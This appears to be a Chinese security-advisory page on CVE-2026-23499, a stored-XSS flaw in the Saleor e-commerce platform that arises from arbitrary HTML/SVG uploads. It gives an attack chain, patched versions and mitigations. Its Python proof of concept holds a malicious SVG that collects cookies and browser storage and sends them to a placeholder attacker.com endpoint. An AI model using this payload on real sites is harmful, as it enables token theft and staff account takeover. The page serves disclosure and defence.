IPBUF安全漏洞报告
English
CVE-2026-23499 CVSS 5.4 中危

CVE-2026-23499: Saleor电商平台任意文件上传导致存储型XSS漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-23499
漏洞类型
存储型XSS / 任意文件上传
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Saleor

相关标签

存储型XSS任意文件上传CVE-2026-23499Saleor电商平台令牌窃取SVG注入跨站脚本攻击权限提升账户接管

漏洞概述

Saleor是一款开源电商平台,存在一处严重的安全漏洞。漏洞源于该平台在3.0.0版本至修复版本之间,允许经过认证的Staff用户或第三方Apps上传任意文件,包括恶意构造的HTML和SVG文件。这些恶意文件可能包含JavaScript脚本代码。当平台将媒体文件托管在与Dashboard相同的域名下时(例如Dashboard位于example.com/dashboard/,媒体文件位于example.com/media/),浏览器会从同一源加载这些文件,导致恶意脚本在用户浏览器上下文中执行。攻击者(恶意员工)可利用此漏洞构造钓鱼脚本,针对其他员工用户发起攻击,窃取其访问令牌(Access Token)和刷新令牌(Refresh Token),从而获取更高权限或横向移动。值得注意的是,如果媒体文件托管在不同域名(如media.example.com),或者服务器为媒体文件返回Content-Disposition: attachment头,则不会受到此漏洞影响。Saleor Cloud用户不受此漏洞影响。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS)与任意文件上传漏洞的组合。攻击流程如下:1) 攻击者以Staff用户或App身份登录Saleor平台;2) 利用文件上传功能上传包含恶意JavaScript的SVG或HTML文件,例如:<svg onload=alert(document.cookie)>;3) 文件被存储在服务器媒体目录中;4) 当其他用户访问该文件URL时,浏览器加载并执行其中的恶意脚本;5) 脚本可窃取受害者的认证令牌、会话信息或执行其他恶意操作。漏洞的根本原因在于平台未对上传文件类型进行严格限制,且未对文件内容进行安全清洗。攻击者可利用SVG文件格式的特殊性(支持<script>标签和事件处理器如onload)绕过常规防护。修复方案包括:升级到3.22.27、3.21.43或3.20.108版本;在CDN或反向代理层配置Content-Disposition: attachment响应头;添加严格的Content-Security-Policy头部;禁止上传和提供HTML/SVG文件类型。

攻击链分析

STEP 1
1
侦察阶段:攻击者识别目标Saleor平台版本,确认版本在3.0.0到修复版本之间
STEP 2
2
初始访问:攻击者获取Staff用户账户或App认证令牌,获得上传文件权限
STEP 3
3
载荷制作:攻击者创建包含恶意JavaScript的SVG文件,脚本功能包括窃取Cookie、localStorage中的令牌等敏感信息
STEP 4
4
文件上传:利用平台文件上传接口将恶意SVG文件上传到服务器媒体目录
STEP 5
5
存储阶段:恶意文件被保存在与Dashboard相同域名的媒体目录下(如example.com/media/)
STEP 6
6
触发阶段:受害者(其他Staff用户)访问恶意文件URL,浏览器加载并执行其中的JavaScript代码
STEP 7
7
数据窃取:恶意脚本将受害者的Access Token、Refresh Token、Cookie等敏感数据发送到攻击者控制的服务器
STEP 8
8
账户接管:攻击者使用窃取的令牌冒充受害者身份,执行未授权操作或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-23499 PoC - Malicious SVG File Upload # This PoC demonstrates how an authenticated attacker can upload a malicious SVG file # containing JavaScript code that will be executed in victims' browsers. import requests import json TARGET_URL = "https://vulnerable-saleor-instance.com" API_ENDPOINT = f"{TARGET_URL}/graphql/" # Authentication token (Staff user or App token) AUTH_TOKEN = "your_auth_token_here" # Malicious SVG payload that steals cookies/tokens MALICIOUS_SVG = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> // Steal authentication tokens and send to attacker server var tokens = { cookies: document.cookie, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage), referrer: document.referrer, url: window.location.href }; // Send stolen data to attacker's endpoint fetch('https://attacker.com/collect?data=' + btoa(JSON.stringify(tokens))); </script> </svg>''' def upload_malicious_file(): """Upload malicious SVG file via GraphQL mutation""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # GraphQL mutation for file upload (simplified) mutation = """ mutation { fileUpload(input: { url: "data:image/svg+xml;base64," + base64_encode(MALICIOUS_SVG) }) { uploadedFile { url } } } """ response = requests.post(API_ENDPOINT, headers=headers, json={"query": mutation}) if response.status_code == 200: result = response.json() malicious_url = result.get("data", {}).get("fileUpload", {}).get("uploadedFile", {}).get("url") print(f"[+] Malicious file uploaded successfully!") print(f"[+] Malicious URL: {malicious_url}") print(f"[+] When victims visit this URL, the JavaScript will execute in their browser context") return malicious_url else: print(f"[-] Upload failed: {response.text}") return None if __name__ == "__main__": print("CVE-2026-23499 - Saleor Arbitrary File Upload leading to Stored XSS") print("=" * 70) upload_malicious_file()

影响范围

Saleor 3.0.0 - 3.20.107
Saleor 3.0.0 - 3.21.42
Saleor 3.0.0 - 3.22.26

防御指南

临时缓解措施
对于暂时无法升级的用户,可采取以下临时缓解措施:第一,在Web服务器或CDN配置层为/media/路径添加Content-Disposition: attachment响应头,强制浏览器下载所有媒体文件而非直接在浏览器中渲染;第二,配置严格的Content-Security-Policy头部限制媒体域的脚本执行权限;第三,将媒体文件托管在独立域名(如media.example.com)实现与主应用的域名隔离;第四,在Web应用防火墙层面禁止上传和访问.svg和.html文件类型;第五,限制Staff用户的文件上传权限,仅允许上传经过审批的文件格式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表